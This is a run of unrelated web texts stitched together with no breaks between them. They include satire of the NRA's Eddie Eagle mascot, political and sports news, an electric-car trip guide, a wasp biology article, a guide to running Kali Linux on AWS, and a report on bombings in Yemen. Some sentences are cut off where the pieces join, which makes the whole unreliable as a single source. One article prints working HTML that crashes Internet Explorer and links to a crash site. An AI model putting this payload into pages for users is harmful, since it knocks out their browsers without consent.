Finally, a flashback to last summer when thousands watched the sun rise over Stonehenge for the summer solstice:Continue Reading Below Advertisement
And just to show kids how cool Eddie is, here he is talking to his good friend 90210 star Jason Priestley, who considers this badly drawn bird his personal friend and -- according to his contractual obligation -- a "hero."
NRA
"Yes, Eddie. Without the 2nd Amendment, we aren't America."
Here's the thing, though: Eddie is the worst. For starters, his lessons didn't actually work on kids. According to the American Academy of Pediatrics, "existing programs are insufficient for teaching gun-safety skills to children" as when they tested a bunch of Eagle Eye schooled kids, none of them knew what to do when around a firearm. It's almost like the solution to protect kids from guns is to not leave guns lying around, a responsibility that should rest squarely on adults, not on schoolchildren and a smarmy cartoon bird. All Eddie seems to achieve with his awareness is to normalize the idea of being around firearms from a young age. A study by the Violence Policy Center called him "Joe Camel with feathers" and concluded that the NRA's "hoped-for result is new customers".
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Hell, even the woman who designed the Eddie the Eagle program recently said that if she'd known how the program was going to be used she "wouldn't have anything to do with it." Why? Because the NRA literally props up Eddie the Eagle as an alternative to imposing stricter laws on negligent adults, calling a 2016 bill to make it punishable by law to leave firearms around children "unnecessary" like they've actually started believing their magic superhero bird will come and save the day.
But creating dangerously inappropriate cartoons themselves wasn't enough for the NRA. Tired of the weak spined Grimm Brothers leftist propaganda, the NRA also published a series of revisionist fairy tales. Guess what, kids, if Hansel and Gretel had been packing heat, they could have painted the witch's gingerbread walls strawberry red with her brains. The same goes for Little Red Riding Hood, who makes great use of the "stand your ground" rule to take on that shifty, vaguely ethnic looking Wolf.
NRA
NRA
The only thing that stops a bad wolf is a good grandma with a gun.
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With clearly so many children's authors working for the NRA, we're starting to wonder if Bambi wasn't originally a super happy story until they rewrote it for political purposes. We're just kidding. If the NRA had made Bambi, he would've been wearing gang colors and the entire forest would've been massacred by one hunter and his truck-mounted machine gun.
Think Nana and Pop-Pop's loving 60-year monogamous relationship is quaint and old-fashioned? First off, sorry for that disturbing image, but we've got some news for you: the monogamous sexual relationship is actually brand new relative to how long humans have been around. Secondly, it's about to get worse from here: monkey sex. On this month's live podcast, Jack O'Brien and the Cracked staff welcome Dr. Christopher Ryan, podcaster and author of 'Sex at Dawn', onto the show for a lively Valentine's Day discussion about love, sex, why our genitals are where they are, and why we're more like chimps and bonobos than you think. Get your tickets here!
Also check out 7 Famous Mascots (Who Once Looked Scary As Hell) and The 8 Most Baffling Food Mascots of All-Time.
Subscribe to our YouTube channel, and check out How Breakfast Cereal Mascots Brainwashed You, and other videos you won't see on the site!
Follow us on Facebook, and let's be best friends forever.Conservative pundit and ardent Trump supporter Ann Coulter is starting to think President Trump's detractors might have a point. In an interview Sunday with The Daily Caller, Coulter admitted that she is "not very happy with what has happened" in Trump's presidency. "It's just that it has been such a disaster so far," said Coulter, who wrote the book In Trump We Trust.
She said that "everyone who voted for him knew his personality was grotesque," but they'd been banking on Trump to act on the issues — and so far he hasn't. "It's not like I'm out yet, but boy, things don't look good. I've said to other people, 'It's as if we're in Chicago and Trump tells us he's going to get us to L.A. in six days. But for the first three days we are driving towards New York. Yes, it is true he can still turn around and get us to L.A. in three days, but I'm a little nervous.'"
Still, Coulter insisted she has no regrets about supporting Trump, who she described as "our last shot." However, she admitted that if "we just keep going to New York," she'll have to say the "Trump-haters were right." "It's a nightmare. I can't even contemplate that," Coulter said. "Right now I'm still rooting for him to turn around and take us toward L.A."President Trump Donald John TrumpREAD: Cohen testimony alleges Trump knew Stone talked with WikiLeaks about DNC emails Trump urges North Korea to denuclearize ahead of summit Venezuela's Maduro says he fears 'bad' people around Trump MORE said Tuesday he is letting South Korea and Japan buy an “increased amount of highly sophisticated military equipment,” an announcement that comes two days after North Korea said it successfully tested a hydrogen bomb.
“I am allowing Japan & South Korea to buy a substantially increased amount of highly sophisticated military equipment from the United States,” Trump wrote on Twitter.
I am allowing Japan & South Korea to buy a substantially increased amount of highly sophisticated military equipment from the United States. — Donald J. Trump (@realDonaldTrump) September 5, 2017
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Pyongyang said Sunday that it tested a miniaturized hydrogen bomb that can be placed on an intercontinental ballistic missile.
The self-declared test was met with international condemnation and has increased calls for additional penalties against the rogue nation.
Trump in a Monday call with South Korean President Moon Jae-in agreed to lift limits on South Korea's missile payload capabilities.
North Korea in July conducted two other intercontinental ballistic missile tests and has conducted numerous missile tests throughout this year.
Early last week, North Korea launched a missile that flew over northern Japan.
Trump spoke with Japanese Prime Minister Shinzo Abe on Sunday following North Korea's hydrogen bomb claims.By Maajid Nawaz, Chairman of the Quilliam Foundation
My very first trip to Palestine was in 2002, shortly after 9/11 and before my five-year incarceration in Egypt for Islamist activity. I went through the West Bank from Jordan, as a then avowed enemy of Israel, and even refused to enter into any non-West Bank territory out of principle.
That was then. I have long since disavowed the Islamist ideological manipulation of Islam and sought to approach issues from a more balanced perspective. In the past two years, from Britain, I have been again to Israel-Palestine twice and – in a more neutral way – I have visited both sides of the conflict courtesy of a Liberal Democrats Friends of Israel Parliamentary delegation.
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Therefore, I have not only heard both sides of the debate, but I have met and interacted with a spectrum of individuals from the region whose daily lives are affected by the conflict. I have also followed the media debate and witnessed the passions this conflict is able to stir in Europe and beyond. What I have seen and witnessed is both depressing and disconcerting.
The Israel-Palestine conflict provokes one of those strange recurrent debates where almost everyone, everywhere, becomes totally hysterical, tribal and mutually nasty from the offset.
The voices of those seeking a peaceful resolution to this conflict are not only drowned out (for that would be a luxury), but are actively hounded by all sides as insufficiently aware of “the truth.”
Extremists on both sides – the Israeli hard right and the Islamists – each have much to gain by polarising discussion on this issue. By pointing to Hamas – which is busy proving that it does not believe in peace – members of Israel’s hard-right reassure themselves that a two-state solution would jeopardise Israeli security permanently, and so they show scant regard for it.
By pointing in turn to the Israeli hard-right – who are busy undermining a two-state solution – Hamas terrorists reinforce their own belief that a two-state solution is not desirable, fuelling their own genocidal |
He later continued: “The people need an explanation. This is not how you run government.”
In earlier statements, Brendmoen has said she makes policy decisions based on what is in the best interest of residents and that her “advocacy toward realizing the highest and best use for the Como Lakeside Pavilion is certainly not personal.”
Hahm has said his work is “professional, transparent and performed faithfully and impartially.”
Terms of the new settlement limit public comment for both sides, but members of Coleman’s administration last year described the decision to seek a new pavilion operator as a professional one.
City officials last November said Black Bear Crossings had produced about $250,000 in cafe revenue in the previous 12 months, about one-fourth of what comparable Minneapolis parks operators produced from May to August.
In a letter to Glass at the time, an assistant city attorney said accounting records provided by Black Bear Crossings “have not been complete or accurate.” City officials said the company refused to open its financial books for inspection until August 2013.
Under the terms of its 2009 lease, Black Bear Crossings paid the city between $25,000 and $29,000 annually to operate the pavilion, which includes a wedding and event center and paddle boat rentals.
Glass responded by suing the city, alleging breach of its 2009 lease, which included the option for a five-year extension. In interviews, Glass said the city failed to articulate what improvements it was looking for.
A Ramsey County district judge sided with Glass several months ago and allowed him to sue for damages. The judge, however, said the city did not have to continue to lease the pavilion to Black Bear Crossings.
Glass recently added a defamation claim to his suit, which was scheduled to go to trial early next year. Settlement details became public Friday.
Black Bear Crossings is closing at the end of December, to the disappointment of some fans.
“Black Bear Crossings has been part of the community for a long time, and we’re concerned and disappointed that this dispute ended with such acrimony and at such a high cost to the taxpayer,” Jon Knox, board chairman of the District 10 Como Community Council, said in a statement.
Critics of the coffee shop, though, say it did not offer hot food or affordable prices.
The city will request proposals for a new vendor Tuesday. More details are online at stpaul.gov/comolakesidepavilion.
“We are keeping options open and aren’t putting an exact number on the revenue sharing requirements we expect,” said Brad Meyer, a spokesman for the Parks and Recreation Department.
Frederick Melo can be reached at 651-228-2172. Follow him at twitter.com/FrederickMelo.A couple weeks ago Consumers Reports bought a Ford Focus Electric for testing that will result in a future review of that car. Getting it to their office meant a 100 mile journey from Westchester County, NY to their offices in Connecticut. Along the way they had a little misadventure in planning long range trips with electric cars that illustrates a common misconception about electric cars. That they can only be driven around town, because the short electric only range is useless for road trips. At first blush an electric car with a 76 miles driving range might look useless to reach a destination 300 miles away, or even 100 miles away, but with some planning it can be done.
The Consumer Reports blog entry says they'd picked up the car in Rye, NY, and stationed "a tow vehicle and trailer at about the half way point" on the way back to the company's testing grounds. Their website doesn't clearly say where the testing grounds are, but according to Google Maps the location is in East Haddam Connecticut. The preferred route to there from Rye, NY, is 110 miles, on I-95 and I-91.
There have been several news items referring to CR's trip as proof that electric cars are a failure, because Consumer Reports had to tow their new Ford Focus Electric to their office. As we'll see, this is more about the failure of Consumer Reports' staffers in understanding how to take a longish trip with an electric car. This a teaching moment opportunity, demonstrating how we can take longer trips using an electric car.
The first step to driving a long trip with an electric car is to understand the range of your car. How far you can go in one charge, and the effect of mountains on the range, is only partly captured by the EPA range estimate. It's best to spend a while driving your car, recording the energy used to go different places, to gain a better understanding of its capabilities.
Because it was a newly purchased Ford Focus Electric, CR's staffers couldn't do that. The best they could do is trust the EPA range estimates and then be really conservative about the distance they'll drive in each segment of the journey. Which leads to the next step.
Divide your journey into segments based on the distance you're comfortable driving. The goal is to avoid getting stuck on the side of the road with a dead battery. How far can you drive and leave yourself enough charge in the battery pack in case there is a problem? For the Ford Focus Electric, each leg of the journey should be 50-60 miles. While the rated driving range is 76 miles, being conservative on the length of each leg helps to avoid running the battery down to dead, and gives some leeway in case plans have to change.
Next use an application like ReCargo to browse the charging stations along the route you'll be driving. There are several smart phone applications that show the charging station networks, and ReCargo is one, and another useful app is PlugShare. These applications do not help with route planning, so it is useful to map each leg of the trip in an a regular map application. You have to look for charging stations within the driving distance for each leg of the journey. It's useful to have alternate locations in case one of the charging stations is down or occupied. We want each leg of the trip shorter than the total driving range, just in case you have to seek out an alternate location. It's not helpful if your car is on its last electron, only to arrive at the charging station to find that it's broken. Some of the charging station app's allow you to query charging station status ahead of time.
For the trip CR's staffers took with their Ford Focus Electric, there are several charging stations along the route. These include the Summer Street Garage in Stamford, the Yankee Doodle and Maritime Parking Garages in Norwalk, a Whole Foods near Fairfield, several parking garages in New Haven. Unfortunately the list of charging stations grows sparse after that point, but the Hartford Amtrak station has a public charging station. Therefore, the CR staffers could have driven directly from Rye, NY to West Haven (47 miles), charged, then from there to Hartford, charged, and then on to their office, with no need for a tow vehicle. The charging session in West Haven should be a full recharge, and because the Ford Focus Electric has a 6.6 kilowatt charger the charge time would have been close to two hours. The charging session in Hartford should be just enough to have the range to get to CR's office, so an hour of charging should be sufficient.
The rule of thumb for electric cars with 6.6 kilowatt chargers, is that each hour of charging adds 22-25 miles of driving range.
For a slightly tougher request, let's consider someone living in Kansas City, MO, visiting relatives in Wichita, KS. According to Google Maps the distance is 200 miles, and according to the ReCargo application there are public charging stations in Olathe, Lawrence, Topeka, Emporia, El Dorado, and Wichita. The distance between each of these is short enough to allow an electric car to make the journey, hopping from station to station along the way. Unfortunately getting much further west in Kansas than Wichita or Salina is not terribly doable, because of the lack of charging stations.
The basic principles are: a) divide your trip into legs based on how far you can drive, b) map out the available charging stations, c) have alternates in case a charging station is down, d) drive an electric car with a fastest charger you can find, so that you'll be waiting the least amount of time possible.
Several on-going or recent long range electric car trips demonstrate these cars don't need to be limited to short hops around town. One is a Tesla Roadster owner from Spain who is chasing a pair of Frenchmen driving a Mitsubishi i-MiEV around the world. Another is a Frenchman driving an electric Citroen postal van across rural Africa. In June, a San Diego man drove his Nissan Leaf from Baja CA to British Columbia (BC to BC). A week ago I drove my electric car, a Karmann Ghia conversion with a 50ish mile range, about 150 miles per day for a couple days in a row, using these same techniques.
With all this in mind, it is best to remember that the auto makers have designed the current crop of electric cars with around-town driving in mind. The 300 mile range electric car is quite possible, and Tesla Motors is making it, but the price is not in the realm the average consumer can even dream of spending. Until battery technology improvements come along the electric cars for the rest of us will have a driving range of around 100 miles. The pragmatist should recognize that it's best, now, to use the electric car for the primary trips around town, and relegate a gasoline car to those longer trips. If you rarely take longer trips, all the better, because you could completely fore-go owning a gasoline car, and rent one when needed for a long trip.
Trips slightly beyond the rated driving range of the electric car are completely doable using the steps just outlined, and Consumer Reports could have taken their Focus Electric home without towing it.Reposting to the correct thread.I encounter a lot of dirt On the job, spent my summer trying to find a solution for my "mobile" needs.For the 950XL, I have chosen a semi hard shell PSVita "zipper box".It is large and bulky, but it fits the phone with whatever low profile case I choose for the phone to wear, plus, several cables, ear buds, and BT devices also fit in the box.The zipper box fits easily in the front pocket of my cargo pants and Levi jeans.I realize this is an extreme measure, but using my Sony SBH54 BT HEADSET to issue Voice commands, while listening to music, I have been able to work for several hours without having to remove my phone from my pocket or open the zipper box.There have been bugs, and it is not perfect yet, but hopefully the device will smooth out by the time my work moves back outside.Right now I am painting inside, and in one move I got paint on both the front and back of the zipper box, saving my phone, and proving my "use case".PSVita box inventory: OEM USB to C cable, USB to Micro USB 3" cable, AUX audio cable 3', headphone ext cable 6', wired ear buds, 2 BT devices with ear buds, a tie clip to help with wearing cables, and the phone.Obviously I do not close the phone glass against anything hard in the box.The long cables are all coiled neatly and secured with Velcro ties.The spaghetti looking wires are the BT ear bud wires, the wired ear buds are in the small Zip lock bag.I had a lot of choices to put inside the box, obviously audio is important to me.The emerald cockroach wasp or jewel wasp (Ampulex compressa) is a solitary wasp of the family Ampulicidae. It is known for its unusual reproductive behavior, which involves stinging a cockroach and using it as a host for its larvae. It thus belongs to the entomophagous parasites.
Distribution [ edit ]
The wasp is mostly found in the tropical regions of South Asia, Africa, and the Pacific islands. The flying wasps are more abundant in the warm seasons of the year.
A. compressa was introduced to Hawaii by F.X. Williams in 1941 as a method of biocontrol. This has been unsuccessful because of the territorial tendencies of the wasp, and the small scale on which they hunt.[1]
The species is also found in the Brazilian states of São Paulo and Rio de Janeiro. A. compressa likely arrived in the country through the ports of Santos and Rio de Janeiro.[2]
Description [ edit ]
The wasp has a metallic blue-green body, with the thighs of the second and third pair of legs red. The female is about 22 mm long; the male is smaller and lacks a stinger.[1]
Reproductive behavior and lifecycle [ edit ]
As early as the 1940s, female wasps of this species were reported to sting a cockroach (specifically a Periplaneta americana, Periplaneta australasiae, or Nauphoeta rhombifolia)[1] twice, delivering venom. A 2003 study[3] using radioactive labeling demonstrated that the wasp stings precisely into specific ganglia of the roach. It delivers an initial sting to a thoracic ganglion and injects venom to mildly and reversibly paralyze the front legs of its victim. The biochemical basis of this transient paralysis is discussed in a 2006 paper.[4] Temporary loss of mobility in the roach facilitates the second venomous sting at a precise spot in the victim's head ganglia (brain), in the section that controls the escape reflex. As a result of this sting, the roach will first groom extensively, and then become sluggish and fail to show normal escape responses.[5] In 2007, the venom of the wasp was reported to block receptors for the neurotransmitter octopamine.[6]
Wasp 'walking' a roach
The wasp proceeds to chew off half of each of the roach's antennae.[1] Researchers believe that the wasp chews off the antenna to replenish fluids or possibly to regulate the amount of venom because too much could kill and too little would let the victim recover before the larva has grown. The wasp, which is too small to carry the roach, then leads the victim to the wasp's burrow, by pulling one of the roach's antennae in a manner similar to a leash. In the burrow, the wasp lays a white egg, about 2 mm long, on the roach's abdomen. It then exits and proceeds to fill in the burrow entrance with pebbles, more to keep other predators out than to keep the roach in.
With its escape reflex disabled, the stung roach simply rests in the burrow as the wasp's egg hatches after about 3 days. The hatched larva lives and feeds for 4–5 days on the roach, then chews its way into its abdomen and proceeds to live as an endoparasitoid. Over a period of 8 days, the wasp larva consumes the roach's internal organs in an order which maximizes the likelihood that the roach will stay alive, at least until the larva enters the pupal stage and forms a cocoon inside the roach's body. Eventually, the fully grown wasp emerges from the roach's body to begin its adult life. Development is faster in the warm season.
Adults live for several months. Mating takes about a minute, and only one mating is necessary for a female wasp to successfully parasitize several dozen roaches.
While a number of venomous animals paralyze prey as live food for their young, A. compressa is different in that it initially leaves the roach mobile and modifies its behavior in a unique way. Several other species of the genus Ampulex show a similar behavior of preying on cockroaches.[1] The wasp's predation appears only to affect the cockroach's escape responses. While a stung roach exhibits drastically reduced survival instincts (such as swimming, or avoiding pain) for about 72 hours, motor abilities such as flight or flipping over are unimpaired.[7][8]
Biomechanics [ edit ]
The first sting is delivered to the prothoracic ganglion (mass of nerve tissue) which causes a 2– to 3-minute paralysis of the front legs. This sting injects significant quantities of γ amino-butyric acid (GABA) and complementary agonists taurine and β alanine. The concoction temporarily blocks the motor action potentials in the prothoracic ganglion by depressing cholinergic transmission through the increased chloride conductance across nerve synapses. Individually, all of these substances induce short-term paralysis of the cockroach. When they are injected together in a ratio of 10:7:4, the effect was longer lasting. GABA activates ligand-gated chloride channels by binding to GABA receptors. Taurine and beta-alanine likely extend the duration of the paralytic effect by slowing the uptake of GABA by the synaptic cleft. Combined, this cocktail of compounds prevents the cockroach from moving and defending itself while the wasp administers the second sting/series of stings.
The second sting is administered to the subesophageal ganglion (SEG) and is much more precise, hence the need for paralysis and is significantly longer. The wasp actively searches for the SEG during this sting. The second sting inhibits the cockroach's ability to walk spontaneously, or of its own will, but cockroaches can right themselves and swim while under the influence, and when startled, will jump but not run. It also causes excessive grooming and alterations in the metabolism of the cockroach. The metabolic change is thought to preserve nutrients for the wasp larva. Researchers have simulated this zombie state by injecting procaine into the SEG. They also determined using extracellular bipolar electrodes that neuronal activity was less in stung cockroaches. The venom may disturb the octopaminergic modulation in structures within the roach's ganglion. Basically, it limits the effectiveness of octopamine, the neurotransmitter that controls muscle contraction in sudden movements.[9][10]
See also [ edit ]
Ampulex dementor, a species of cockroach wasp from Thailand with very similar behavior but different appearance
, a species of cockroach wasp from Thailand with very similar behavior but different appearance Glyptapanteles, a genus of wasps capable of inducing caterpillars to guard its pupae
, a genus of wasps capable of inducing caterpillars to guard its pupae Hymenoepimecis argyraphaga, a species of wasps that affect the web-building behavior of spiders to its own ends
, a species of wasps that affect the web-building behavior of spiders to its own ends Tarantula hawk
Behavior-altering parasite or parasitoid
References [ edit ]Victorian election campaign gets dirty
Updated
A senior figure in the Victorian Labor Party says he will not comment on reports he has tried to smear a Greens state election candidate as anti-Semitic.
Barrister Brian Walters is Labor's main rival in the marginal seat of Melbourne.
Labor has labelled the Greens candidate a hypocrite for representing a mining company and there is now scrutiny of his work for an alleged Nazi war criminal.
Mr Walters has told AM that Labor is engaging in "gutter politics".
Premier John Brumby delivered the official election writs to the Governor, Professor David de Kretser, this morning. The Government will formally enter caretaker mode tomorrow.
But the campaign is already in full swing, with the Government under threat not only from the Coalition but from the Greens as well.
The Age newspaper says it has obtained documents that are a part of a "dirt campaign" against Mr Walters.
It says the documents focus on the barrister's representation of alleged Nazi war criminal Konrad Kalejs.
Mr Walters says they are part of a smear campaign.
"I think it is a particularly nasty smear having regard to 20th-century history to call someone anti-Semitic," he said.
Education Minister Bronwyn Pike holds the seat of Melbourne with a margin of only 2 per cent.
Today is the second day in a row that her rival's work as a barrister has been dragged into the campaign.
Yesterday Treasurer John Lenders labelled Mr Walters a hypocrite for representing mining company Downer EDI.
"It is not what you do but what you say that matters to them," he said.
"So we have a candidate who is out there preaching the evils of brown coal, preaching the evils of our industrial relations system which he says is unfair on workers, but while doing that, he takes a brief working for a brown coal company."
Mr Brumby says the scrutiny is fair.
"It is the first I've seen of it, but I think the people will make their own judgments about the facts as they see them," he said.
Mr Brumby says he does not know whether the story came from anyone within Labor.
Sign of desperation
Mr Walters says the smear campaign against him is a sign of desperation.
"The actual allegations are so laughable in their substance, but the underlying kind of politics that we are seeing is the sort of thing we would have expected from Richard Nixon in the 1970s, not modern democracy in Australia," he said.
"I think it is always a cheap shot, but sometimes people will think because a barrister acts for a certain client therefore they must sympathise with everything that client does.
"I think most people know that it is our duty to represent them in court, to get the best possible outcome for them."
Mr Walters says he hopes people can see past the attacks.
"I hope people will see that I have acted responsibly and ethically for a large number of people including, of course, acting without charge for a very large number of environmental and human rights causes over many years," he said.
Former Victorian Labor Party secretary Stephen Newnham says he has no comment to make about the claim that he contacted influential members of the Jewish community to try to generate a backlash against Mr Walters.
Topics: state-parliament, elections, melbourne-3000, australia, vic
First postedThis guide shows you how to create a Kali Linux instance on AWS for free. Kali Linux is a Debian-based Linux distribution aimed at advanced Penetration Testing and Security Auditing. Kali contains several hundred tools aimed at various information security tasks, such as Penetration Testing, Forensics and Reverse Engineering.
Some of the reasons why you may want a Kali instance on AWS:
You’re on a pen test engagement with limited access to IT, or perhaps even only a mobile phone
You’re on a time sensitive engagement and need quick access to a tool in Kali
Your local connection has limited bandwidth and you need to run a large portscan or bruteforce attack.
Before carrying out any penetration testing you MUST first complete the AWS Vulnerability / Penetration Testing Request Form otherwise it’s highly likely your attempts will trigger their defensive monitoring software. (Guilty…)
Step 1: Create your free Amazon AWS account
This section assumes you already have a normal Amazon account, however don’t have an AWS account.
Head on over to the AWS homepage and click Create a free account. Assuming you’re an existing Amazon user, login with your Amazon credentials now, otherwise sign up for a new account. Fill in your contact details on the next page. Fill in your payment details on the next page. (Note: your card will only be charged if you exceed the limitations of the free tier. We will create an alarm later to prevent this happening.) Fill in your mobile number and wait for Amazon to ring. Once on the call, enter your 4 digit pin to confirm your identity. The page will automatically refresh. Keep the Basic support plan selected and and click Continue. Once successful, click the Complete Sign Up button in the top right hand side and login again if prompted.
You should now be in the AWS Management Console.
If this is your first time using AWS, you may want to create a billing alarm to warn you when you have hit the limit of the free tier. If you don’t, AWS will start charging. Follow Step 4 for instructions on setting up your billing alarm.
Step 2: Prepare EC2
The next step is to generate SSH keypairs so that we can SSH into our Kali instance.
Open the Amazon EC2 console and make a note of the Region displayed in the top right. In the navigation pane, under Network & Security, choose Key Pairs. Choose Create Key Pair and e nter a name, then choose Create.
The private key file is automatically downloaded by your browser. Keep that file somewhere safe as you won’t be able to re-download it.
Step 3: Launch a Kali instance
The next step is to launch our first Kali instance.
Note: Although it will show an estimated cost of around $8 per month, as long as you remain within the limits of the free tier, described here, you won’t be charged. Follow the billing alarm instructions in Step 4 to be warned if you’re about to be charged.
Head over to the AWS Marketplace and click Continue to clone the Kali Linux image. Under Region, make sure the region you noted down in the previous section is highlighted
Under EC2 Instance Type, select t2.micro. This is the only type that is available on the free tier
Click Launch with 1-click and then go back to your EC2 management console to see the instance being created One the Status becomes Ready, click the Connect button at the top for instructions on how to connect to your instance. On a Linux machine, simply navigate to where you saved your.pem file and run this command: ssh -i "NameOfYourKey.pem" ec2-user@PublicDNSofYourInstance Once on the machine, it’s a good idea to update your packages to the latest version (~20 minutes) sudo apt-get update && sudo apt-get upgrade -y
That’s it. You now have a fully featured Kali Linux machine, online with a public IP, ready for use whenever you need it. I’d suggest you keep it powered off when not in use so that you don’t exceed the limits of the free tier.
(Optional) Step 4: Create Billing Alarm
Source: Here
Before you create a billing alarm, you must enable billing alerts. You need to do this only once. After you enable billing alerts, you can’t turn them off. Open the Billing and Cost Management console. On the navigation pane, choose Preferences. Select the Receive Billing Alerts check box. Choose Save preferences.
Once you have enabled billing alerts, you can create a CloudWatch billing alarm.
Open the CloudWatch Console. If necessary, change the region on the navigation bar to US East (N. Virginia). The billing metric data is stored in this region, even for resources in other regions. On the navigation pane, under Metrics, choose Billing. In the list of billing metrics, select the check box next to Currency USD, for the metric named EstimatedCharges, as shown in the following image. Choose Create Alarm. Define the alarm as follows. Set total AWS charges for the month exceed: to $.01. Choose the New list link next to the send a notification to box. When prompted, enter your email address Choose Create Alarm. In the Confirm new email addresses dialog box, confirm the email address (or it won’t send an alarm!). To view the status of your alarm, choose Alarms in the navigation pane.We’ve already shown you why so many geeks hate Internet Explorer, and since it’s almost Halloween we figured we’d show you something really scary—how to crash any version of Internet Explorer with nothing more than HTML and CSS.
Note: we’re really not trying to bash on Internet Explorer—in fact, the latest beta version is really quite nice, but we figured we’d have some fun with this bug, and maybe somebody at Microsoft will fix this problem before the final release.
How to Crash Internet Explorer with HTML
Simply open up notepad or another text editor, paste in the following, and save it as SomeFilename.html.
<html><head>
<style type="text/css">
#a {
margin:0 10px 10px;
} #b {
width:100%;
} </style>
<title>IE Crasher</title>
</head>
<body>
<table><tr><td>
<div id="a">
<form id="b">
<input type="text" name="test"/>
</div>
</td><td width="1"></td></tr></table>
</body></html>
It should end up looking something like this:
Then open it up in Internet Explorer, and BOOM! IE is dead.
Note: hilariously, when I originally put this HTML code into the article, it actually crashed Windows Live Writer repeatedly. Finally had to login to WordPress and remove the code from there in order to be able to even open up the post again.
Where Does This Work?
We’ve tested this out, and it seems to crash just about every single version of IE, from IE6 even up to the latest Internet Explorer 9 platform preview that was released earlier today.
Credits
It’s at this point that we should point out that we didn’t figure this out—in fact, there’s a web site that you can visit that will crash IE, and we got the source code from that site.
DO NOT CLICK THIS OR YOUR BROWSER WILL CRASH –> crashie8.com
Please share this link responsibly.If you’ve watched a Tennessee football game played at Neyland Stadium in recent seasons, chances are you’re very familiar with rapper Lil’ Jon’s song “Turn Down for What.”
It has become an anthem of sorts for Vols football fans, as the stadium’s speakers blare the tune each time the Tennessee defense creates a third-down situation for opposing offenses.
Fans enthusiastically chant “third down for what” as a play on the song’s lyrics.
That part of the Vols game day experience has been cited in the recent legal filings against the university as a factor that could contribute to the alleged “enhancement of a hostile sexual environment.”
FOX Sports personality Clay Travis Tweeted an excerpt of the filing, which lists out the complaint against the university’s athletic department for promoting the popular rap artist and his music:
Dumbest allegation in UT lawsuit? Playing Lil' Jon's "Third Down For What" encourages rape culture. @AtAlexAnderson pic.twitter.com/SAFVOfjEHh — Clay Travis (@ClayTravis) February 25, 2016
While the song and usage of it are a trivial part of a very serious matter, it is interesting to see the wide reach of the claims against the university as they emerge.The Rams brought back another former Coliseum resident Friday when they signed free-agent cornerback Nickell Robey-Coleman, a former standout at USC.
Robey-Coleman played with receiver Robert Woods, both at USC (2010-12) and for the Buffalo Bills (since 2013). Woods signed with the Rams last month as an unrestricted free agent, and Robey-Coleman followed, after he was released by the Bills last month.
Robey-Coleman went undrafted in 2013, likely in large part because of his size (5-foot-8, 165 pounds), but he signed with Buffalo and made the active roster that fall.
In four seasons, Robey-Coleman appeared in all 64 games and started 15. He had three interceptions, including one last season against the Rams. Robey-Coleman returned it for a touchdown at the Coliseum.
Robey-Coleman likely will provide cornerback depth for the Rams, and fit in mid-pack among Trumaine Johnson, E.J. Gaines, Kayvon Webster, Lamarcus Joyner, Mike Jordan, Troy Hill and Blake Countess.
The situation could change though. Joyner likely will get reps at safety during the Rams’ offseason program, which begins Monday, and Johnson has been the subject of trade talks. The Rams also might select a cornerback with one of their picks in this month’s draft.
If Joyner moves to safety full-time, Robey-Coleman would be a strong candidate to replace him as the Rams’ slot cornerback.Sanaa, Yemen (CNN) The Sunni terror group ISIS purportedly claimed it committed Friday's bombings that killed scores of people at two mosques frequented by Shiite rebels in Yemen's capital -- an attack that would mark ISIS's first large-scale attack in the Arabian Peninsula country.
At least 137 people were killed and 357 wounded when suicide bombers, pretending to be disabled and hiding explosives under casts, attacked the mosques in Sanaa, according to Yemen's state-run Saba news agency.
Video distributed by Reuters showed people removing bodies from one of the mosques, where a carpeted floor was littered with debris.
Houthi fighters carry the body of a man killed in Sanaa on March 20.
Houthi fighters carry the body of a man killed in Sanaa on March 20.
People stand amid bodies covered with blankets in a mosque after a suicide attack in Sanaa on March 20.
People stand amid bodies covered with blankets in a mosque after a suicide attack in Sanaa on March 20.
A wounded man lies on a bed at a hospital after the bombings in Sanaa on March 20.
A wounded man lies on a bed at a hospital after the bombings in Sanaa on March 20.
Men carry the body of a man killed in the March 20 attacks.
Men carry the body of a man killed in the March 20 attacks.
The body of a person killed in the attacks is carried to a hospital in Sanaa on March 20.
The body of a person killed in the attacks is carried to a hospital in Sanaa on March 20.
Houthi fighters stand near a damaged car after bombings in Sanaa on March 20. The attacks started with suicide bombings inside the buildings, followed shortly by explosions outside, two senior Houthi leaders said.
Houthi fighters stand near a damaged car after bombings in Sanaa on March 20. The attacks started with suicide bombings inside the buildings, followed shortly by explosions outside, two senior Houthi leaders said.
A casualty is wheeled to a hospital after the bombing attacks in Sanaa on March 20.
A casualty is wheeled to a hospital after the bombing attacks in Sanaa on March 20.
Armed men inspect damage after an explosion at Al Badr mosque in Sanaa, Yemen, on Friday, March 20. Deadly explosions in Yemen's capital rocked two mosques serving a minority Muslim group that recently conquered the city. The mosques serve members of the Zaidi sect of Shiite Islam, which is followed by the Houthi rebels who recently took control of the capital.
Armed men inspect damage after an explosion at Al Badr mosque in Sanaa, Yemen, on Friday, March 20. Deadly explosions in Yemen's capital rocked two mosques serving a minority Muslim group that recently conquered the city. The mosques serve members of the Zaidi sect of Shiite Islam, which is followed by the Houthi rebels who recently took control of the capital.
If ISIS committed the attack, it would be not only a new challenge to the minority Houthis who took control of Sanaa weeks ago, but also a challenge to ISIS's rival, al Qaeda in the Arabian Peninsula, the Sunni extremists more associated with Yemen.
It would also illustrate a seemingly expanding focus for ISIS, which controls parts of Syria and Iraq and earlier this week claimed responsibility for Wednesday's killings of tourists at a museum in Tunisia
Regardless, Friday's attacks marked one of the worst days of recent violence during a complicated struggle for control of Yemen, where Houthi rebels -- Shiites in a predominantly Sunni country -- already faced resistance from AQAP and from supporters of ousted President Abdu Rabu Mansour Hadi.
A written statement, purportedly from ISIS, claimed that ISIS executed Friday's attacks, calling them "a tip of an iceberg."
The statement, posted on a site that previously carried ISIS proclamations, said five suicide bombers targeted Houthis in Sanaa.
A separate audio message, also posted on ISIS-affiliated websites, claimed five ISIS suicide bombers killed dozens of "Houthi infidels." The voice is similar to one featured in Thursday's audio message in which ISIS claimed responsibility for Wednesday's attack at the Bardo Museum in Tunisia
CNN cannot independently verify the legitimacy of Friday's statements.
Among those killed in Sanaa was prominent Houthi religious leader Murtatha Al Mahathwari, Saba reported.
A separate explosion rocked a government compound in the Houthi stronghold city of Saada -- 180 kilometers (112 miles) northeast of Sanaa -- killing two people and seriously wounding a third, according to Abu Khalil Al Ameri, a local Houthi security official.
If ISIS executed Friday's bombings, it would be a "big deal indeed," in part because ISIS was thought to have only a fledgling presence in Yemen, CNN terrorism analyst Paul Cruickshank said.
